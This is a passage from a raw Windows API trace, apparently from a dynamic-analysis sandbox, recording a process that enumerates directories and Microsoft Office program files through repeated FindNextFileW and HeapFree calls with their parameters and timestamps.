(in: hFindFile=0x3e819a8, lpFindFileData=0x2f7f08c | out: lpFindFileData=0x2f7f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xffe01c35, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xffe01c35, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xffe01c35, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="no", cAlternateFileName="")) returned 1 [0289.528] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0289.528] FindNextFileW (in: hFindFile=0x3e819a8, lpFindFileData=0x2f7f08c | out: lpFindFileData=0x2f7f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x68ff786, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x68ff786, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x69259a9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pl", cAlternateFileName="")) returned 1 [0289.528] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0289.528] FindNextFileW (in: hFindFile=0x3e819a8, lpFindFileData=0x2f7f08c | out: lpFindFileData=0x2f7f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc2b31ff, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc2b31ff, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc2b31ff, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pt", cAlternateFileName="")) returned 1 [0289.528] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0289.528] FindNextFileW (in: hFindFile=0x3e819a8, lpFindFileData=0x2f7f08c | out: lpFindFileData=0x2f7f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x386b77a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x386b77a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x386b77a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0289.528] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0289.528] FindNextFileW (in: hFindFile=0x3e819a8, lpFindFileData=0x2f7f08c | out: lpFindFileData=0x2f7f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4903b8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x4903b8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4903b8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ro", cAlternateFileName="")) returned 1 [0289.529] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0289.529] FindNextFileW (in: hFindFile=0x3e819a8, lpFindFileData=0x2f7f08c | out: lpFindFileData=0x2f7f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x86a6c5d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x86a6c5d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x86a6c5d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ru", cAlternateFileName="")) returned 1 [0289.529] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0289.529] FindNextFileW (in: hFindFile=0x3e819a8, lpFindFileData=0x2f7f08c | out: lpFindFileData=0x2f7f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x67a8250, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x67a8250, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x67a8250, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sk", cAlternateFileName="")) returned 1 [0289.529] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0289.529] FindNextFileW (in: hFindFile=0x3e819a8, lpFindFileData=0x2f7f08c | out: lpFindFileData=0x2f7f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a7cf13, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6a7cf13, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6a7cf13, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sl", cAlternateFileName="")) returned 1 [0289.529] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0289.529] FindNextFileW (in: hFindFile=0x3e819a8, lpFindFileData=0x2f7f08c | out: lpFindFileData=0x2f7f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1565dae, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1565dae, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1565dae, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sr-Cyrl-BA", cAlternateFileName="SR-CYR~1")) returned 1 [0289.529] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0289.529] FindNextFileW (in: hFindFile=0x3e819a8, lpFindFileData=0x2f7f08c | out: lpFindFileData=0x2f7f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf443017d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf443017d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf44563cd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sr-Cyrl-CS", cAlternateFileName="SR-CYR~2")) returned 1 [0289.530] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0289.530] FindNextFileW (in: hFindFile=0x3e819a8, lpFindFileData=0x2f7f08c | out: lpFindFileData=0x2f7f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1ae94c9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1ae94c9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sr-Latn-CS", cAlternateFileName="SR-LAT~1")) returned 1 [0289.530] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0289.530] FindNextFileW (in: hFindFile=0x3e819a8, lpFindFileData=0x2f7f08c | out: lpFindFileData=0x2f7f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6354def, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6354def, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6354def, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sv", cAlternateFileName="")) returned 1 [0289.530] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0289.530] FindNextFileW (in: hFindFile=0x3e819a8, lpFindFileData=0x2f7f08c | out: lpFindFileData=0x2f7f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfb67b102, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfb67b102, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfb6ed802, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="th", cAlternateFileName="")) returned 1 [0289.530] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0289.530] FindNextFileW (in: hFindFile=0x3e819a8, lpFindFileData=0x2f7f08c | out: lpFindFileData=0x2f7f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc53b9f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc53b9f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc53b9f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tr", cAlternateFileName="")) returned 1 [0289.530] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0289.530] FindNextFileW (in: hFindFile=0x3e819a8, lpFindFileData=0x2f7f08c | out: lpFindFileData=0x2f7f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf80d6078, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf80d6078, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf80d6078, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="uk", cAlternateFileName="")) returned 1 [0289.531] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0289.531] FindNextFileW (in: hFindFile=0x3e819a8, lpFindFileData=0x2f7f08c | out: lpFindFileData=0x2f7f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c46ba0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6c46ba0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6c46ba0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="vi", cAlternateFileName="")) returned 1 [0289.531] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0289.531] FindNextFileW (in: hFindFile=0x3e819a8, lpFindFileData=0x2f7f08c | out: lpFindFileData=0x2f7f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc40a725, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc40a725, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc40a725, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0289.531] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0289.531] FindNextFileW (in: hFindFile=0x3e819a8, lpFindFileData=0x2f7f08c | out: lpFindFileData=0x2f7f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x659fb9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x659fb9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x659fb9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0289.531] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0289.531] FindNextFileW (in: hFindFile=0x3e819a8, lpFindFileData=0x2f7f08c | out: lpFindFileData=0x2f7f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x659fb9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x659fb9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x659fb9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-TW", cAlternateFileName="")) returned 0 [0289.531] FindClose (in: hFindFile=0x3e819a8 | out: hFindFile=0x3e819a8) returned 1 [0289.531] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3eb2090 | out: hHeap=0x730000) returned 1 [0289.531] FindNextFileW (in: hFindFile=0x3e81ce8, lpFindFileData=0x2f7f308 | out: lpFindFileData=0x2f7f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddaac59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeddaac59, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1b382177, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3392, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="MSO0127.ACL", cAlternateFileName="")) returned 1 [0289.629] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3eb2090 | out: hHeap=0x730000) returned 1 [0289.629] FindNextFileW (in: hFindFile=0x3e81ce8, lpFindFileData=0x2f7f308 | out: lpFindFileData=0x2f7f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb4ae41a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xdb652e29, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xdcec30aa, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x205e48, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="ONENOTE.EXE", cAlternateFileName="")) returned 1 [0289.633] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3eb2090 | out: hHeap=0x730000) returned 1 [0289.633] FindNextFileW (in: hFindFile=0x3e81ce8, lpFindFileData=0x2f7f308 | out: lpFindFileData=0x2f7f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddf70e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeddf70e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1d319566, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x656d8, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="OUTLPH.DLL", cAlternateFileName="")) returned 1 [0289.637] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3eb2090 | out: hHeap=0x730000) returned 1 [0289.637] FindNextFileW (in: hFindFile=0x3e81ce8, lpFindFileData=0x2f7f308 | out: lpFindFileData=0x2f7f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddf70e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1d791bfc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2169a085, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xf2be48, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="PDFREFLOW.EXE", cAlternateFileName="PDFREF~1.EXE")) returned 1 [0289.639] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f220c8 | out: hHeap=0x730000) returned 1 [0289.639] FindNextFileW (in: hFindFile=0x3e81e68, lpFindFileData=0x2f7f08c | out: lpFindFileData=0x2f7f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf318faf5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf318faf5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf31b5d3e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1036", cAlternateFileName="")) returned 1 [0289.639] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f220c8 | out: hHeap=0x730000) returned 1 [0289.639] FindNextFileW (in: hFindFile=0x3e81e68, lpFindFileData=0x2f7f08c | out: lpFindFileData=0x2f7f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe34d5ed4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe34d5ed4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe34d5ed4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="3082", cAlternateFileName="")) returned 1 [0289.639] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f220c8 | out: hHeap=0x730000) returned 1 [0289.639] FindNextFileW (in: hFindFile=0x3e81e68, lpFindFileData=0x2f7f08c | out: lpFindFileData=0x2f7f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc52c782a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc52c782a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc52c782a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msgr8en.dub", cAlternateFileName="")) returned 1 [0289.640] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3eb2090 | out: hHeap=0x730000) returned 1 [0289.640] FindNextFileW (in: hFindFile=0x3e81ce8, lpFindFileData=0x2f7f308 | out: lpFindFileData=0x2f7f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd41f54a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xdec90856, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xded02ee7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x14c660, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="PropertyModel.dll", cAlternateFileName="PROPER~1.DLL")) returned 1 [0289.642] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3eb2090 | out: hHeap=0x730000) returned 1 [0289.642] FindNextFileW (in: hFindFile=0x3e81ce8, lpFindFileData=0x2f7f308 | out: lpFindFileData=0x2f7f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddf70e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeddf70e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x2296098c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd0460, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="PUBCONV.DLL", cAlternateFileName="")) returned 1 [0289.650] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3eb2090 | out: hHeap=0x730000) returned 1 [0289.650] FindNextFileW (in: hFindFile=0x3e81ce8, lpFindFileData=0x2f7f308 | out: lpFindFileData=0x2f7f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda173cc, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xeda173cc, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="QUERIES", cAlternateFileName="")) returned 1 [0289.650] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3eb2090 | out: hHeap=0x730000) returned 1 [0289.650] FindNextFileW (in: hFindFile=0x3e81ce8, lpFindFileData=0x2f7f308 | out: lpFindFileData=0x2f7f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd71a51a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcd71a51a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcd7406da, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xad30, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="rdpqoemetrics.dll", cAlternateFileName="RDPQOE~1.DLL")) returned 1 [0289.651] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3eb2090 | out: hHeap=0x730000) returned 1 [0289.651] FindNextFileW (in: hFindFile=0x3e81ce8, lpFindFileData=0x2f7f308 | out: lpFindFileData=0x2f7f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1db7a09, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1db7a09, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4fef2b0, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x8aa50, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="SAVASWEB.DLL", cAlternateFileName="")) returned 1 [0289.652] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3eb2090 | out: hHeap=0x730000) returned 1 [0289.652] FindNextFileW (in: hFindFile=0x3e81ce8, lpFindFileData=0x2f7f308 | out: lpFindFileData=0x2f7f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xede1d373, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xede1d373, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x237aeb7f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x397278, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="STSLIST.DLL", cAlternateFileName="")) returned 1 [0289.827] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f220c8 | out: hHeap=0x730000) returned 1 [0289.827] FindNextFileW (in: hFindFile=0x3e81ca8, lpFindFileData=0x2f7f08c | out: lpFindFileData=0x2f7f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa326fd, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x4cce0ca, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4cce0ca, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1033", cAlternateFileName="")) returned 0 [0289.827] FindClose (in: hFindFile=0x3e81ca8 | out: hFindFile=0x3e81ca8) returned 1 [0289.827] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3eb2090 | out: hHeap=0x730000) returned 1 [0289.827] FindNextFileW (in: hFindFile=0x3e81ce8, lpFindFileData=0x2f7f308 | out: lpFindFileData=0x2f7f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x7f63b8, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1159842, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x1349614, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x14a640, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="VISIO.EXE", cAlternateFileName="")) returned 1 [0289.828] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3eb2090 | out: hHeap=0x730000) returned 1 [0289.828] FindNextFileW (in: hFindFile=0x3e81ce8, lpFindFileData=0x2f7f308 | out: lpFindFileData=0x2f7f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xede4358a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xede4358a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x245644bf, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2851, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="XML2WORD.XSL", cAlternateFileName="")) returned 1 [0289.828] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ed20a0 | out: hHeap=0x730000) returned 1 [0289.893] FindNextFileW (in: hFindFile=0x3e81fa8, lpFindFileData=0x2f7f584 | out: lpFindFileData=0x2f7f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8396fbd3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3b1a0d3d, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b1a0d3d, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="rsod", cAlternateFileName="")) returned 1 [0289.896] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ea2088 | out: hHeap=0x730000) returned 1 [0289.896] FindNextFileW (in: hFindFile=0x3e81fa8, lpFindFileData=0x2f7f584 | out: lpFindFileData=0x2f7f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xb48c20e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb48c20e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Stationery", cAlternateFileName="STATIO~1")) returned 1 [0289.898] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3eb2090 | out: hHeap=0x730000) returned 1 [0289.898] FindNextFileW (in: hFindFile=0x3e81ca8, lpFindFileData=0x2f7f308 | out: lpFindFileData=0x2f7f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb48c20e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb6099da, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb6099da, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0 [0289.899] FindClose (in: hFindFile=0x3e81ca8 | out: hFindFile=0x3e81ca8) returned 1 [0289.899] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ea2088 | out: hHeap=0x730000) returned 1 [0289.899] FindNextFileW (in: hFindFile=0x3e81fa8, lpFindFileData=0x2f7f584 | out: lpFindFileData=0x2f7f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, 